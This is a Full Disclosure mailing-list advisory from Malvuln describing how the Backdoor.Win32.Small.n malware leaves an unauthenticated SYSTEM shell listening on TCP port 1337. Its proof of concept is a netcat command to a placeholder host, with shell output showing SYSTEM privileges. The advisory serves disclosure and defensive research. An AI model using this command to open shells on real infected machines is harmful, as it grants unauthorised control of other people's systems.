full-disclosure - [FD] Backdoor.Win32.Small.n / Unauthenticated Remote Command Execution (SYSTEM)

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Message-ID: <CAAHK0WRp7hvvEOK6z0d+i1uzAPuGJusx2bQfPgnROE+bVw-XLg@mail.gmail.com>
Date: Wed, 7 Apr 2021 20:37:16 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Small.n / Unauthenticated Remote Command
	Execution (SYSTEM)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/fb24c3509180f463c9deaf2ee6705062.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Small.n
Vulnerability: Unauthenticated Remote Command Execution (SYSTEM)
Description: The backdoor malware listens on TCP Port 1337, upon successful
connection we get handed a remote shell from the infected host with SYSTEM
integrity.
Type: PE32
MD5: fb24c3509180f463c9deaf2ee6705062
Vuln ID: MVID-2021-0167
Dropped files:
Disclosure: 04/07/2021

Exploit/PoC:
nc64.exe MALWARE_HOST_IP 1337
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\>whoami
whoami
nt authority\system

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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